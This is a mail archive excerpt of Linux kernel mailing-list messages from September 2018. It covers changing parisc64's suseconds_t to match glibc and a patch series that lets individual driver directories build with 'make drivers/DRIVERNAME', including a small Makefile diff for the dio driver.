References: <20180913160010.905798-1-arnd@arndb.de> <de79d285-7cbc-e547-547b-cf3e0627950d@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1537872687 10549 195.159.176.226 (25 Sep 2018 10:51:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Sep 2018 10:51:27 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 25 12:51:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4kw4-0001pO-1n
	for glk-linux-kernel-4@m.gmane.org; Tue, 25 Sep 2018 12:51:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728764AbeIYRA1 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 25 Sep 2018 13:00:27 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:36871 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726435AbeIYRA1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 25 Sep 2018 13:00:27 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id n6-v6so12763897qtl.4;
        Tue, 25 Sep 2018 03:53:29 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=8LNzj7J700cFcTyK6CgjyUCylxc1RxBkWxi5pRTvopY=;
        b=B5TetMOFDKx/VkYPY7e3hU91zNt3tNEPsA99cWf1Fep8Gt62DJIOKP9LPxaJCxiPL9
         vJSi8cVcQraZzYh6RT/EcCkvG0KLi+/bBP8Vu2daLwSaF7ZB+cRPS3bg6BeyGbYVZhJA
         gU/mdCGodyDOVBX54TWSJI0F9RdyLbMUe+t4tI+Bf4C/3WRCg9GMFUSI9pd2hIzr7yOd
         QR0h+tP9JgOQKUXiD0bnQIZzcFbGuSsxeVVzfDrx1K9opCLRyA6ieF4c8beiuqNUyz1j
         EFk521tsrdBEMRSWK3M+638aRPdSUeA2/coFHVeTeVeCZJ+kdnGXmT82MwPrzZPI0BVG
         VYlQ==
X-Gm-Message-State: ABuFfoiVk1zXqF7mP8J5zbldK6Kt43JFuFrtOShekTtFpcTNczyF55CV
        WVzuS78wau/PAjJoRJIEMvP3FkTr5vVdsDeE8Yk=
X-Google-Smtp-Source: ACcGV63MyOgn6wgWiKy5dcxjHliGoiSmGy7Iym2rjZK1KKSVou9WC7WJKjtRscIak7chN+rmZZv4tKWT6ZA4ix0gmEc=
X-Received: by 2002:aed:2bc6:: with SMTP id e64-v6mr300366qtd.132.1537872808535;
 Tue, 25 Sep 2018 03:53:28 -0700 (PDT)
In-Reply-To: <de79d285-7cbc-e547-547b-cf3e0627950d@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2880897 gmane.linux.kernel.year-2038:3403 gmane.linux.ports.parisc:28990
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2880897>

On Mon, Sep 17, 2018 at 9:46 PM Helge Deller <deller@gmx.de> wrote:
> On 13.09.2018 17:59, Arnd Bergmann wrote:
> > There are only two 64-bit architecture ports that have a 32-bit
> > suseconds_t: sparc64 and parisc64. I've encountered a number of problems
> > with this, while trying to get a proper 64-bit time_t working on 32-bit
> > architectures. Having a 32-bit suseconds_t combined with a 64-bit time_t
> > means that we get extra padding in data structures that may leak kernel
> > stack data to user space, and it breaks all code that assumes that
> > timespec and timeval have the same layout.
> >
> > While we can't change sparc64, it seems that glibc on parisc64 has always
> > set suseconds_t to 'long', and the current version would give incorrect
> > results for gettimeofday() and many other interfaces: timestamps passed
> > from user space into the kernel result in tv_usec being always zero
> > (the lower bits contain the intended value but are ignored) while data
> > passed from the kernel to user space contains either zeroes or random
> > data in tv_usec.

[back from traveling now, sorry for the delay in replying]

> Should this wrong behavior be visible with 32-bit userspace or
> with 64-bit userspace (or both)?
> I didn't noticed such wrong behavior yet.

Only 64-bit user space.

> Can you suggest some test programs to verify?
> LTP seems to be correct.

A simple 64-bit gettimeofday() should report incorrect
nanoseconds using the upstream glibc implementation.

> > Based on that, it seems best to change the user API in the kernel in
> > an incompatible way to match what glibc expects.
>
> Basically that sounds the right way to go, but as said before,
> I didn't see such issues.
>
> > Note that the distros I could find (gentoo and debian) all just
> > have 32-bit user space, which does not suffer from this problem.
>
> That's correct.
> Kernel can be 32- or 64-bit, but userspace is currentl 32-bit only.
>
> So, breaking any 64-bit userspace is OK, since we don't have it yet.
> Breaking 32-bit userspace needs some thoughts...

Ok.

     Arnd


From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.parisc
Subject: Re: [RFC] parisc64: change __kernel_suseconds_t to match glibc
Date: Tue, 25 Sep 2018 19:53:13 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <7fdae639-6871-df29-ffbb-1096822ebb34@gmx.de>
References: <20180913160010.905798-1-arnd@arndb.de>
 <de79d285-7cbc-e547-547b-cf3e0627950d@gmx.de>
 <CAK8P3a1WT87CFyz7457R_cx=ueVjG+xUWXAA6SSw+C4ZnaZHVw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537897883 32165 195.159.176.226 (25 Sep 2018 17:51:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Sep 2018 17:51:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 25 19:51:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4rUU-0005We-8m
	for glk-linux-kernel-4@m.gmane.org; Tue, 25 Sep 2018 19:51:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727055AbeIZACF (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 25 Sep 2018 20:02:05 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:59217 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726163AbeIZACF (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 25 Sep 2018 20:02:05 -0400
Original-Received: from [192.168.20.60] ([92.116.170.198]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M4CB5-1fn3ad0pKV-00rouK; Tue, 25
 Sep 2018 19:53:20 +0200
Original-Received: from [192.168.20.60] ([92.116.170.198]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M4CB5-1fn3ad0pKV-00rouK; Tue, 25
 Sep 2018 19:53:20 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <CAK8P3a1WT87CFyz7457R_cx=ueVjG+xUWXAA6SSw+C4ZnaZHVw@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:OTmFiy9cLutHMWuVH2OrLX/+P94p7PLLo1V8cZQGTo834X2gbQi
 M34aXGBMM/G9GO6bwzKE8OK1o7RpRaJo/tqnCnDt9aQH7jV2hMQNRBjd5a9mv9UC0rqisyV
 CJuaDg4rbnd/XNs+AQD6zWvqyQ4zTtbog1Vfl/Sv1mGibgluG/iWDHe4udmRaHziTdpn85d
 AylEE2cGYZJeM3PpOe1Hw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6YZdoWaQRMw=:U7tOZpnWeu0Bq4ytF/TXU5
 dg/xzz2OLBjZBnyPcovR//XlQKIOKFQGDq+3iIkB3YtrVltFozGUtT8v8xjdNSu5pxFfXnd8t
 FcU1nvsH9R5rk6uU5R7I9fIoxvMHKicE7ZOGOs3U14d631sp6bhl7IaFcYWjRAfmbAuaz0kls
 cvpQl9MH75gSvVXJG0q9eLNOyf2z2a6qLi3a0oDfrixCQDCf6GIyN4SJTWzpLOO2SRoAjwyQp
 xEEuPpZDYcnf+zgIK8GazZqAdnOXpZrZKN1B3HDzKHKBUr+ZkMfDWjM4rEqTCTn9qDoreDpnW
 Ohhjnoy5GkY3xRLo5DnFfSc2nNjREd9YmFlj9FhY4iJFVytER6BBYj5dE/SsXvGRqMgNCUjgD
 ORS3gFqSV2+INMPaoVVsJsCgc4trzBKSBdxySjz+OUFRowt909HUF08Q8C1ZrP45b/YrZrfNg
 DK7n4yRlse26xJ5j+Cre2MX/4Uiq8mGWUX63rbbaDBhy/jxlCXRIx2gMheic2KVcHaFMi0WDv
 D7Nmc5QgZDomlkE+UBMmk+/2p6d+xN3bH+hvIdFuUm8IFqjwogvEMGi6xw6YhFXqGfisjiUB5
 MIaJ0rjZK16uBkNdeTTVkiZia5o9pQQMhYBzjePX3a9Yn3mCShoVPs7imRbGxHoNCRHE1RYGu
 ok7Yv6ipaBw1HXPkETWKEMdAkd2gREnHWBHVL3YwwPZHs2zUXoP00Xi9bs9N+44ZvC0OUTNEw
 uj52L1NE8//SV6PYAz6bdu/jPojzctybPnUE0Jeh9BlAgb7FIubBa7CfuhzsZ3rXqd0YtsjJ 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881359 gmane.linux.kernel.year-2038:3405 gmane.linux.ports.parisc:28991
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881359>

On 25.09.2018 12:53, Arnd Bergmann wrote:
> On Mon, Sep 17, 2018 at 9:46 PM Helge Deller <deller@gmx.de> wrote:
>> On 13.09.2018 17:59, Arnd Bergmann wrote:
>>> There are only two 64-bit architecture ports that have a 32-bit
>>> suseconds_t: sparc64 and parisc64. I've encountered a number of problems
>>> with this, while trying to get a proper 64-bit time_t working on 32-bit
>>> architectures. Having a 32-bit suseconds_t combined with a 64-bit time_t
>>> means that we get extra padding in data structures that may leak kernel
>>> stack data to user space, and it breaks all code that assumes that
>>> timespec and timeval have the same layout.
>>>
>>> While we can't change sparc64, it seems that glibc on parisc64 has always
>>> set suseconds_t to 'long', and the current version would give incorrect
>>> results for gettimeofday() and many other interfaces: timestamps passed
>>> from user space into the kernel result in tv_usec being always zero
>>> (the lower bits contain the intended value but are ignored) while data
>>> passed from the kernel to user space contains either zeroes or random
>>> data in tv_usec.
> 
> [back from traveling now, sorry for the delay in replying]
> 
>> Should this wrong behavior be visible with 32-bit userspace or
>> with 64-bit userspace (or both)?
>> I didn't noticed such wrong behavior yet.
> 
> Only 64-bit user space.
> 
...
> A simple 64-bit gettimeofday() should report incorrect
> nanoseconds using the upstream glibc implementation.

Yes, you are right.
Since we don't have any 64-bit userspace yet, it's safe to fix it now as you suggested.
I've added your patch as is to my for-next tree and tagged it for stable-tree.

Thanks for catching this!

Helge


From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 0/7] Remove errors building drivers/DRIVERNAME
Date: Tue, 25 Sep 2018 22:51:47 -0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20180926015147.GA14862@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926594 16022 195.159.176.226 (26 Sep 2018 01:49:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:49:54 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:49:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yxX-0001zu-DE
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:49:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727223AbeIZICT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:02:19 -0400
Original-Received: from mail-qk1-f195.google.com ([209.85.222.195]:45258 "EHLO
        mail-qk1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726321AbeIZICT (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:02:19 -0400
Original-Received: by mail-qk1-f195.google.com with SMTP id q20-v6so10434883qkc.12;
        Tue, 25 Sep 2018 18:51:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=ulGHC4QQhwm75pxjmiUmW94PlIRpANSoQl6dsxZBdhA=;
        b=qOOfxf/vw6QuYn6OXzVz966/yociS5RE3D3Mk+TXi54qMJ3f4p6vIPEzZJBNzM8tmK
         Fw+M4ylAMUn4Pa4A082ufxmeaWZvwkylLz06kKV3VYRqtBFCeT6ocby4cFD8v7UCLd6b
         g/13OhJst4m82p4akDicVibISgNvA72iLgyquEDtDs31d+jVVTXgluanz5i0UXb84VRQ
         xc7TuG5njUtKcVO9QV26/yeqKLHVRXPQpRGQcptlzysDVyJiVF2AEFpJZh87knCaMdal
         hELPLc/XU29bWdZNKBy88X3XGsrrTK9FFaQW3u6r1mkAGyx4NM0+lNySI5LHhe/NrK2J
         mEoA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=ulGHC4QQhwm75pxjmiUmW94PlIRpANSoQl6dsxZBdhA=;
        b=gjXI94jE0LpThaBf7/980zJr9lYJTxNbhNEROl5/7S9Qhds0mQd4Frc30hyes+n34p
         o3oWDZX/CnVpEAOSJUug/6vIlkg3D4uU3bfKo39iySgClYeFXeqBAMUGUs6nLt1K8Sha
         UMFt15O1AimsQwSRusgzy54ViT6LCJbNr3Gy6ts6tv/LFXygbsYI0YXgUKtOSAh1WOOd
         6QOrFcND6sPnGYCoLVqK/Fs5UwyGQIclC0AOqKHJ/bSp1PA0/xEKlhNzNYXbR+SYpW1a
         OPTqH7YNHMKQQrZ9SHGvKXjIeMM0v/XWEMbioHWybJSAo28aKBwTG+m/uPDp1ymMFstu
         a6Vg==
X-Gm-Message-State: ABuFfogg/eNLAgstZpT0/pyaQ3fY0Tog4QNtYHCMxpGuKONY65n3YdKZ
        q9202DDnFFAVjtNoezmkxI0=
X-Google-Smtp-Source: ACcGV628m6ulXx8QTb4LVNUg0s5WKrSZ6AEv6p/7NgUwPQEg0/Li4BaeJ6RutDrsvHZ1PEQ1gFbx4w==
X-Received: by 2002:a37:2b0a:: with SMTP id r10-v6mr2729911qkh.292.1537926715838;
        Tue, 25 Sep 2018 18:51:55 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id y205-v6sm2275060qkb.56.2018.09.25.18.51.50
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:51:55 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881695 gmane.linux.oprofile:13217 gmane.linux.ports.parisc:28992
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881695>

This Patchset changes some driver's Makefile to allow them building 
using the command 'make drivers/DRIVERNAME', if compatible.

The changed drivers would return error if the above command was run
on them, after an x86 allyesconfig.

The main reason of this patchset is to allow building lists of
drivers looking for warnings and errors to be fixed.

My main objective is to allow developers with low processing power
to do changes in the kernel and look bugs using free services like
GiltabCI. 

If there is any interest helping/using this, I have a prototype in
https://gitlab.com/LeoBras/linux-next.

Leonardo Brás (7):
  drivers: dio: Avoids building driver if CONFIG_DIO is disabled
  drivers: nubus: Avoids building driver if CONFIG_NUBUS is disabled
  drivers: parisc: Avoids building driver if CONFIG_PARISC is disabled
  drivers: zorro: Avoids building proc.o if CONFIG_ZORRO is disabled
  drivers: s390: Avoids building drivers if ARCH is not s390.
  drivers: oprofile: Avoids building driver from direct make command
  drivers: hwtracing: Adds Makefile to enable building from directory.

 drivers/Makefile           | 4 +---
 drivers/dio/Makefile       | 2 +-
 drivers/hwtracing/Makefile | 3 +++
 drivers/nubus/Makefile     | 6 +++---
 drivers/oprofile/Makefile  | 1 +
 drivers/parisc/Makefile    | 2 +-
 drivers/s390/Makefile      | 8 ++++----
 drivers/zorro/Makefile     | 2 +-
 8 files changed, 15 insertions(+), 13 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile
 create mode 100644 drivers/oprofile/Makefile

-- 
2.19.0



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 1/7] drivers: dio: Avoids building driver if CONFIG_DIO is
 disabled
Date: Tue, 25 Sep 2018 22:52:04 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180926015204.GA14952@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926609 17170 195.159.176.226 (26 Sep 2018 01:50:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:50:09 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 03:50:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g4yxo-0004M9-91
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 03:50:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727270AbeIZICf (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 04:02:35 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:46908 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726321AbeIZICf (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 04:02:35 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id h22-v6so7671579qtr.13;
        Tue, 25 Sep 2018 18:52:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=Ig8aYG+bq8ur+x3OT7VAaBFbnTbtP5co/zowmafEj4M=;
        b=SQjo9PSqRnFTjGgH2n9oA90lGG7neexgSwrXrvCDWHhqZXulbsfqV472Cw11m8SPK8
         BjJd/FMlgY0rTFOgdNdPHMCK2GOTm7AXiFW/e790cCgpelFRkHVJqDEe/uWxqA6xgoJq
         eCsQE7gMdnO6RL1qhkksuhJXS5pDpVKi2xbpml3HGy8GBIhAGTm36FYGjVYY9zU4w80F
         gA9P7659H4KMUB/ifH7RrA07B7R8U3nzAAkuNhgxYLQl21KFaWQt+RJ7fDGij2f83+Eb
         tUc47c/yq9N+8Y5255TvYqv/E3CcjegEZwb2g3BXOEiQQp/KSl5FH+QA4gbGqXkfzEZQ
         02nw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=Ig8aYG+bq8ur+x3OT7VAaBFbnTbtP5co/zowmafEj4M=;
        b=ZTcmP8DPGW+U8vWs/CIN8wR8pjcxHL+DA+5s1rZqcyLF2h8frVL78gu86/OAEdEhqs
         4MrSPbWyh7lEA7BuBdEWOJsYzGQs2Wz0Q7st88f8SMkuF0+HUSRMgzdU//9B22/sfjdu
         lwSpM9AS5GSbRw41kp4xLPvaV4SufknlAcjWAXvA9JDINzjtgluH0YT5gWEs8ZY6eN+Z
         aYf2VwuFQ8bfSXhEvQCzbpgRnn6FcAuLDqng43TVJOvTbIa02byaFggpPf1t0Vwn6m1n
         RY//LMgnP1gA+vqXkTAXJ18EqbWEOtgwrfpvwO8tjIYuK1Lsv0zZcOX3T2cxAIRhI2yN
         BvCg==
X-Gm-Message-State: ABuFfojrau3e323FAlt8UzMCX/w5HGK/bzadWJE1HeAy07+korqW3xbv
        mC87Jv3MY69qgdQgjj8CljQ=
X-Google-Smtp-Source: ACcGV636S5TB9/25jJ2RWfkFsJTbA6+u+VGr/eGvOWtifDzoZFCv60W+8QYuMsVuA8GXHXtQoNy3+A==
X-Received: by 2002:a0c:e5ce:: with SMTP id u14-v6mr2771752qvm.6.1537926731832;
        Tue, 25 Sep 2018 18:52:11 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id o79-v6sm3012466qko.89.2018.09.25.18.52.06
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 25 Sep 2018 18:52:11 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2881696 gmane.linux.oprofile:13218 gmane.linux.ports.parisc:28993
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2881696>

Avoids building driver if 'make drivers/dio/' is called and
CONFIG_DIO is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/dio/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/dio/Makefile b/drivers/dio/Makefile
index ae92d17083f2..f5cffe232448 100644
--- a/drivers/dio/Makefile
+++ b/drivers/dio/Makefile
@@ -2,4 +2,4 @@
 # Makefile for the linux kernel.
 #
 
-obj-y := dio.o dio-driver.o dio-sysfs.o
+obj-$(CONFIG_DIO) := dio.o dio-driver.o dio-sysfs.o
\ No newline at end of file
-- 
2.19.0



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH 2/7] drivers: nubus: Avoids building driver if CONFIG_NUBUS
 is disabled
Date: Tue, 25 Sep 2018 22:52:18 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180926015218.GA14964@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1537926626 18336 195.159.176.226 (26 Sep 2018 01:50:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 01:50:26 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
